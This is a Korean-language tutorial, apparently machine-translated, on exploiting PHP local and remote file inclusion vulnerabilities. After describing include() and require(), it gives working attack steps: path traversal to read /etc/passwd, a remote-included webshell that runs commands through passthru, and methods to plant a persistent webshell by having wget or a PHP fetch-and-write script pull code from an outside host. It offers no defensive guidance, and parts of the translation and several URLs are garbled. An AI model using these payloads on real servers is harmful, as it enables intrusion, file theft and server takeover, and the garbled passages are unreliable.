거의 모든 CGI 프로그램에는 이러한 버그가 있지만 구체적인 증상은 다릅니다.
1. [include(), require() 및 include_once(), require_once()]에 관련된 위험한 함수
include() && require() 문: 지정된 파일을 포함하고 실행합니다.
두 구조는 실패 처리 방법을 제외하면 동일합니다. include()는 경고를 생성하고 require()는 치명적인 오류를 발생시킵니다. 즉, 누락된 파일이 발견될 경우 페이지 처리를 중지하려면 require()를 사용하십시오. include()의 경우에는 그렇지 않으며 스크립트는 계속 실행됩니다.
PHP에서 "allow_url_fopen"이 활성화된 경우(기본 구성) 로컬 파일 대신 URL(HTTP 또는 기타 지원되는 캡슐화 프로토콜을 통해)을 사용하여 포함할 파일을 지정할 수도 있습니다. 대상 서버가 대상 파일을 PHP 코드로 해석하는 경우 HTTP GET에 대한 URL 요청 문자열을 사용하여 포함된 파일에 변수를 전달할 수 있습니다.
require_once() &&include_once()
require_once() 및 include_once() 문은 스크립트 실행 중에 지정된 파일을 포함하고 실행합니다. 이 동작은 require() 문과 유사합니다. 유일한 차이점은 파일의 코드가 이미 포함된 경우 다시 포함되지 않는다는 것입니다. 스크립트 실행 중 동일한 파일이 두 번 이상 포함될 수 있는 상황에 적합하며, 함수 재정의, 변수 재할당 등의 문제를 피하기 위해 한 번만 포함되도록 하려는 경우에 적합합니다.
2. 파일을 포함해야 하는 이유
프로그래머는 프로그램을 작성할 때 동일한 작업을 수행하는 것을 좋아하지 않으며 동일한 코드(예: 일부 공개 함수)를 작성하는 것을 좋아하지 않습니다. ) 그래서 공유해야 할 코드를 share.php 등 별도의 파일에 작성한 후 다른 파일에 포함시킵니다. PHP에서는 이 목적을 달성하기 위해 위에 나열된 함수를 사용합니다. 작업 흐름: main.php에 share.php를 포함하려면 다음과 같이 include("share.php")를 작성합니다. 목적이 달성된 다음입니다. share.php에 있는 함수를 사용할 수 있습니다. 포함해야 할 파일 이름을 하드 코딩하는 데 문제가 없으며 허점도 없습니다. 그렇다면 문제는 무엇입니까?
때때로 어떤 파일을 포함해야 할지 확신할 수 없을 수도 있습니다. 예를 들어 먼저 다음 index.php 파일의 코드를 살펴보세요.
[code]
if ($_GET ) {
include $_GET
} else {
include "home.php";
}
[/code]
매우 일반적인 부분 PHP 코드, 어떻게 작동하나요? 여기에는 $_GET의 의미가 포함되므로 이에 대해서는 다루지 않겠습니다(그렇지 않으면 HTTP에 대한 다른 기사를 작성할 수 있습니다). GET, POST 등을 이해하지 못하는 경우 Google에서 몇 가지 관련 정보를 확인해야 합니다. 하나의 보충 자료입니다.
1. 위 URL을 제출하고 index.php에서 이 페이지의 값($_GET)을 가져옵니다.
2. $_GET
이 비어 있는지 확인합니다. 그렇지 않은 경우(여기는 main.php), include를 사용하여 이 파일을 포함합니다.
3. $_GET
이 비어 있으면 else를 실행하여 home.php 파일을 포함시킵니다.
3. 취약점은 왜 발생하나요?
이렇게 하면 URL에 따라 파일을 동적으로 포함할 수 있어 얼마나 편리합니까? ? 질문에 대한 대답은 다음과 같습니다. 우리는 항상 다른 사람들과 다르기를 원합니다. 우리는 우리가 포함(호출)하려는 파일을 직접 작성하고 싶을 수도 있습니다. 다음 URL에 자연스럽게: http://www.jb51.net/php/index.php?page=hello.php. 그런 다음 index.php 프로그램은 위에서 언급한 단계를 어리석게 따릅니다. 페이지를 hello.php로 가져온 다음 include(hello.php)로 이동합니다. 이때 문제는 hello.php 파일이 없기 때문에 발생합니다. . 이므로 다음 정보와 유사하게 포함 시 경고를 보고합니다.
인용:
경고: include(hello.php) [function.include]: 스트림을 열지 못했습니다: 해당 파일이 없습니다. 또는 3행의 /vhost/php/index.php 디렉토리
경고: include() [function.include]: /vhost/php에 포함하기 위해 'hello.php'(include_path='.:')를 열지 못했습니다. /index .php on line 3
위의 경고는 우리가 지정한 hello.php 파일을 찾을 수 없다는 것을 의미합니다. 즉, 파일에 우리가 지정한 경로가 포함되어 있지 않으며 후속 경고는 다음과 같습니다. 지정된 파일을 이전에 찾을 수 없었으므로 포함되면 경고가 발생합니다.
4. 활용방법
위에서 보듯이 문제가 발생했는데, 이런 취약점을 활용하는 방법은 실제로 여러가지가 있는데, 본질적으로 동일합니다. 세 가지 일반적인 활용 방법:
1. 대상 머신에서 다른 파일 읽기 포함
위에서 볼 수 있듯이 매개변수 페이지를 얻었습니다. 필터링되지 않은 경우 임의로 지정할 수 있습니다. 대상 호스트의 다른 민감한 파일 예를 들어 이전 경고에서 노출된 절대 경로(vhost/php/)를 볼 수 있으며 다른 파일을 포함하도록 여러 번 감지할 수 있습니다. 예를 들어 URL을 http: / /www.jb51.net/php/index.php?page=./txt.txt와 같이 지정하면 현재 경로에서 txt.txt 파일을 읽거나 .. /..를 사용할 수 있습니다. / 필터링 없이 디렉터리로 이동합니다. ./) 다음 URL과 같이 민감한 시스템 파일을 읽을 수 있는 절대 경로를 직접 지정할 수도 있습니다: http: //www.phphtm.com/php/index.php?page =/etc/passwd, 대상인 경우 호스트에 엄격한 권한 제한이 없거나 Apache 시작 권한이 상대적으로 높을 경우 이 파일의 내용을 읽을 수 있습니다. 그렇지 않으면 다음과 유사한 경고가 표시됩니다. open_basedir 제한이 적용됩니다.
2. 실행 가능한 PHP 트로이 목마 포함
대상 호스트의 "allow_url_fopen"이 활성화되면(기본값이 활성화되어 수정하는 사람이 거의 없음) 더 큰 사용 공간을 가질 수 있습니다. 다른 URL에 PHP 코드가 포함된 웹셸을 지정하여 직접 실행할 수 있습니다. 예를 들어 먼저 명령을 실행하기 위한 PHP 코드를 작성하고(주석을 사용하면 이해할 수 있어야 함) cmd.txt로 저장할 수 있습니다(접미사: 그렇지 않음). 콘텐츠가 PHP 형식이라면 상관없습니다.)
코드: [클립보드에 복사]
------------------------- --- -------------------
if (get_magic_quotes_gpc())
{$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //이스케이프 문자 제거(문자열에서 백슬래시 문자 제거 가능)
ini_set("max_execution_time",0); //이 파일의 실행 시간을 설정합니다. 0은 제한이 없습니다.
echo "
1.S.T
" //반환된 시작 줄 프롬프트 정보
passthru($_REQUEST["cmd"]); //cmd에 지정된 명령을 실행합니다.
echo "
1.S.T
" // 반환된 끝 줄 프롬프트 정보를 인쇄합니다.
? >
위 파일의 기능은 cmd에서 지정한 명령을 받아들이고, passthru 함수를 호출하여 실행하고, 1.S.T. 이 파일을 HTTP를 통해 액세스할 수 있는 호스트(PHP를 지원하지 않는 호스트일 수 있음)의 서버에 저장합니다. 예를 들어 주소는 다음과 같습니다: http://www.phphtm.com /cmd.txt, 그리고 취약한 호스트에 다음 URL을 구성하여 악용할 수 있습니다: http: //www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd .txt?cmd=ls, cmd 다음에는 실행해야 하는 명령이 있습니다. 일반적으로 사용되는 기타 명령(예: *UNIX)은 다음과 같습니다.
인용문:
ll 디렉터리 및 파일 나열(Windows의 dir과 동일)
pwd 현재 절대 경로 보기
id whoami 현재 사용자 보기
wget 지정된 URL의 파일 다운로드
다른 사용자를 기다립니다. , 호스트 BAIDU로 이동하여 찾으세요. 여기에 나열하지 않겠습니다.
위 방법은 Webshell을 구하는 방법입니다(이 PHP 파일은 대상 컴퓨터에 없지만 실제로는 Webshell이겠죠? ㅎㅎ)
3. 파일
아마도 일부 사람들은 대상 시스템에 실제 Webshell을 설치하는 것이 더 안전하다고 생각할 것입니다. 언젠가 누군가가 이 취약점이 패치되었다는 사실을 알게 되면 더 이상 "가짜" 파일을 원격으로 포함할 수 없게 됩니다. 위의 Webshell 맞죠? 이런 사고 방식은 이해할 수 있습니다. 계속하겠습니다. 실제 Webshell을 얻으려면 두 가지 일반적인 방법에 대해서도 이야기합니다.
1) wget과 같은 명령을 사용하여 Webshell을 다운로드합니다.
위에서는 비교적 간단하고 매우 일반적으로 사용됩니다. 우리가 얻은 의사 웹셸에서 명령을 실행할 수 있으며 시스템에서 매우 강력한 역할인 wget을 호출할 수도 있습니다. Google에서 이 명령이 얼마나 강력한지 확인할 수 있습니다. 헷갈리시죠, 하하, 너무 복잡할 필요는 없습니다. 그냥 -O(--output-document=FILE, 문서를 FILE 파일에 쓰기)만 사용하면 됩니다. 하하.
이전 단계를 따르고 HTTP 또는 FTP를 통해 액세스할 수 있는 위치(예: http://www.jb51.net/1stphp.txt)에 PHP 코드가 포함된 웹셸을 배치한다는 것이 전제입니다. file 작성된 내용은 Webshell의 내용입니다. 그런 다음 이전에 얻은 의사 Webshell에서 다음 URL을 실행합니다. http://www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd.txt? //www.phphtm.com, 현재 디렉토리에 쓰기가 가능하다면 1stphp.php라는 Webshell을 얻을 수 있습니다. 현재 디렉토리에 쓰기가 가능하지 않다면 다른 방법을 생각해야 합니다.
2) 파일을 사용하여 생성
이전 wget에서는 현재 디렉토리를 쓸 수 없거나 대상 호스트가 이 명령을 비활성화(또는 설치하지 않음)하는 상황이 발생할 수 있습니다. 이 문제를 해결하기 위해 이전 포함 파일 취약점을 결합하여 파일을 생성(파일 쓰기)하는 PHP 스크립트를 포함할 수 있습니다. 내용은 다음과 같습니다.
CODE: [클립보드에 복사]
---- ------ ------------------ ------ ------
$f=file_get_contents(http://www.phphtm.com) //열기 지정된 경로의 파일 스트림
$ff=fopen("./upload/1st.php","a") //가능한 디렉터리를 찾아 파일 생성
fwrite ($ff,$f ); //전면 열기 파일 스트림은 생성된 파일에 기록됩니다
fclose($ff); //저장된 파일을 닫습니다
?>아직 다운로드한 php 파일에 기록됩니다. 위의 wget을 사용했지만 방법을 개선했습니다. PHP 스크립트를 사용하여 위의 cmd.php?cmd=ll을 사용하여 여기에 업로드하는 것과 같은 쓰기 가능한 디렉터리를 찾은 다음 이 디렉터리에 파일을 생성할 수 있습니다. ./upload/1st.php. 그런 다음 웹쉘을 얻습니다.
5. 맺음말
사실, 파일 포함 취약점은 기본적으로는 비교적 간단하지만 위험 요소는 매우 크다는 점을 마지막으로 말씀드리겠습니다. 주의를 기울이면 많은 시스템에 취약점이 여전히 존재합니다. 이를 사용하는 과정은 비교적 유연합니다. 문제를 분석하고 해결책을 찾는 데 능숙하다면 천천히 진전을 이룰 수 있습니다.
허점에는 많은 지식이 포함되어 있으며 하나씩 해결할 수는 없습니다. 질문을 하거나 Google에 직접 가서 해결해야 합니다. 시간이 촉박해서 설명이 부적절하다면 다들 정정해주셨으면 좋겠습니다!
마지막으로 이런 일에는 더 많은 연습이 필요합니다. 시간이 나면 모두가 깊이 이해할 수 있도록 구체적인 예를 찾아보겠습니다. . 취약점, 더 자세한 분석과 활용 프로세스를 여기 있는 모든 사람들과 공유할 수 있기를 바랍니다!